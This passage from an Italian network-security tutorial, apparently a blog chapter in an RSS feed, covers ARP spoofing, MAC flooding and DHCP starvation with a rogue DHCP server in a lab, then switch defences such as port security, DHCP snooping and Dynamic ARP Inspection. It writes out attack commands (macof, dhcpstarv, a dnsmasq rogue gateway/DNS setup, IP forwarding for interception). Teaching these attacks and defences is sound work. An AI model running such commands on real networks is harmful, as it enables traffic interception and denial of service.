&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# sul nodo attacker: inoltra i pacchetti invece di scartarli&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sysctl -w net.ipv4.ip_forward&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Da &lt;code&gt;victim&lt;/code&gt;, prima e dopo l&amp;rsquo;attacco, la cache ARP mostra il cambio:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;victim:~$ ip neigh show 10.0.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;10.0.0.1 dev eth1 lladdr 00:aa:...:gw REACHABLE      &lt;span class=&#34;c1&#34;&gt;# prima: MAC del gateway&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;10.0.0.1 dev eth1 lladdr 00:bb:...:att REACHABLE     &lt;span class=&#34;c1&#34;&gt;# dopo: MAC dell&amp;#39;attaccante&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id=&#34;mac-flooding-trasformare-lo-switch-in-un-hub&#34;&gt;MAC flooding: trasformare lo switch in un hub
&lt;/h2&gt;&lt;p&gt;Uno switch impara quale MAC sta dietro quale porta e salva la coppia nella &lt;strong&gt;CAM table&lt;/strong&gt;. Quando
la tabella è piena, molti switch entrano in &lt;em&gt;fail-open&lt;/em&gt;: inoltrano i frame sconosciuti a &lt;strong&gt;tutte&lt;/strong&gt;
le porte, come un vecchio hub. L&amp;rsquo;attaccante può allora sniffare traffico che non gli è destinato.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# macof (dal pacchetto dsniff) riempie la CAM table con MAC casuali&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;macof -i eth1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;Nota sul lab: il vero fail-open della CAM table è un comportamento degli switch hardware. Né i
bridge Linux né Open vSwitch lo riproducono fedelmente (gestiscono l&amp;rsquo;esaurimento in altro modo).
Per vederlo sul serio serve uno switch Cisco in GNS3 — lo usiamo nel capitolo 03 per DTP.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;dhcp-starvation-e-rogue-dhcp&#34;&gt;DHCP starvation e rogue DHCP
&lt;/h2&gt;&lt;p&gt;L&amp;rsquo;attacco ha due tempi. Prima &lt;strong&gt;starvation&lt;/strong&gt;: l&amp;rsquo;attaccante chiede al server DHCP legittimo tutti
gli indirizzi disponibili, con tanti MAC diversi, finché il pool è esaurito. Poi &lt;strong&gt;rogue DHCP&lt;/strong&gt;:
accende un proprio server DHCP, che ora è l&amp;rsquo;unico a rispondere. Assegna alle vittime un gateway e
un DNS che controlla lui.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# fase 1: esaurisce il pool del server legittimo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;dhcpstarv -i eth1          &lt;span class=&#34;c1&#34;&gt;# oppure: yersinia dhcp -attack 1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# fase 2: il server fasullo distribuisce sé stesso come gateway e DNS&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# (dnsmasq minimale sul nodo attacker)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;dnsmasq --interface&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;eth1 --dhcp-range&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;10.0.0.100,10.0.0.200,1h &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;        --dhcp-option&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;3,10.0.0.66 --dhcp-option&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;6,10.0.0.66
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Il risultato è lo stesso dell&amp;rsquo;ARP spoofing — l&amp;rsquo;attaccante diventa il gateway — ma qui le vittime
glielo chiedono spontaneamente.&lt;/p&gt;
&lt;h2 id=&#34;la-difesa&#34;&gt;La difesa
&lt;/h2&gt;&lt;p&gt;Tutte e tre le difese stanno sullo switch, non sugli host. Su uno switch gestito si attivano con
tre funzioni che lavorano insieme.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;hl&#34;&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;hl&#34;&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;7
&lt;/span&gt;&lt;span class=&#34;hl&#34;&gt;&lt;span class=&#34;lnt&#34;&gt;8
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;! port security: limita quanti MAC può imparare una porta -&amp;gt; blocca il MAC flooding
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;switchport port-security maximum 2
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;switchport port-security violation restrict
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;! DHCP snooping: solo le porte &amp;#34;trust&amp;#34; possono ospitare un server DHCP -&amp;gt; blocca il rogue DHCP
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ip dhcp snooping
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ip dhcp snooping vlan 10
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;! Dynamic ARP Inspection: verifica le reply ARP contro la tabella di DHCP snooping -&amp;gt; blocca l&amp;#39;ARP spoofing
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ip arp inspection vlan 10
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Le tre righe evidenziate sono il cuore: &lt;strong&gt;port-security&lt;/strong&gt; tappa il MAC flooding, &lt;strong&gt;DHCP snooping&lt;/strong&gt;
decide da quali porte può arrivare un&amp;rsquo;offerta DHCP, e &lt;strong&gt;Dynamic ARP Inspection (DAI)&lt;/strong&gt; usa proprio
la tabella costruita da DHCP snooping per scartare le reply ARP che non combaciano.&lt;/p&gt;
&lt;p&gt;Con Open vSwitch, che non ha DAI, l&amp;rsquo;equivalente si ottiene con regole OpenFlow che fissano la
coppia IP–MAC per porta, oppure limitando a una porta sola il traffico DHCP server (&lt;code&gt;udp src port 67&lt;/code&gt;).&lt;/p&gt;
&lt;h2 id=&#34;lab&#34;&gt;Lab
&lt;/h2&gt;&lt;p&gt;Nel lab &lt;code&gt;lab-l2.clab.yml&lt;/code&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Avviate una cattura su &lt;code&gt;victim&lt;/code&gt; (&lt;code&gt;tcpdump -i eth1 -n&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Dal nodo &lt;code&gt;attacker&lt;/code&gt;, lanciate lo script scapy di ARP spoofing e attivate &lt;code&gt;ip_forward&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Da &lt;code&gt;victim&lt;/code&gt;, fate &lt;code&gt;ping 10.0.0.1&lt;/code&gt; e osservate su &lt;code&gt;attacker&lt;/code&gt; (con &lt;code&gt;tcpdump&lt;/code&gt;) che i pacchetti
passano da lì.&lt;/li&gt;
&lt;li&gt;Guardate come cambia &lt;code&gt;ip neigh&lt;/code&gt; su &lt;code&gt;victim&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;


&lt;details&gt;
&lt;summary&gt;&lt;strong&gt;Domanda:&lt;/strong&gt; perché la vittima non si accorge di nulla, anche se il ping continua a funzionare?&lt;/summary&gt;
&lt;p&gt;Perché l&#39;attaccante inoltra i pacchetti (&lt;code&gt;ip_forward=1&lt;/code&gt;): la connessione resta viva, la
latenza aumenta di pochissimo, e a livello 3 (IP) tutto sembra normale. L&#39;unico segno è a livello 2:
il MAC associato al gateway è cambiato. È per questo che la difesa sta sullo switch e guarda i MAC,
non sugli host che guardano gli IP. Uno strumento come &lt;code&gt;arpwatch&lt;/code&gt; sull&#39;host può segnalare
il cambio di MAC, ma è un allarme, non una difesa: non impedisce l&#39;attacco.&lt;/p&gt;
&lt;/details&gt;


&lt;h2 id=&#34;conclusione&#34;&gt;Conclusione
&lt;/h2&gt;&lt;p&gt;I tre attacchi condividono la stessa radice: a livello 2 nessuno verifica l&amp;rsquo;identità. La difesa
non sta nel rendere &amp;ldquo;più sicuri&amp;rdquo; gli host, ma nel dare allo switch il compito di controllare chi
dice cosa — port security, DHCP snooping, Dynamic ARP Inspection. Sono funzioni che quasi ogni
switch gestito ha e che quasi nessuno attiva.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;è però un pezzo che manca: fin qui abbiamo dato per scontato che le porte siano già assegnate
alla VLAN giusta. Nel prossimo capitolo vediamo come un attaccante può &lt;strong&gt;saltare da una VLAN
all&amp;rsquo;altra&lt;/strong&gt;, e perché la VLAN nativa è il punto debole.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Prossimo nella serie:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.matteobianchi.eu/p/vlan-hopping-and-switch-hardening/&#34; &gt;03 · VLAN hopping e hardening degli switch&lt;/a&gt; ·
&lt;a class=&#34;link&#34; href=&#34;https://www.matteobianchi.eu/p/network-security-roadmap/&#34; &gt;Torna alla roadmap&lt;/a&gt;&lt;/p&gt;
</description>
        </item>
        
    </channel>
</rss>
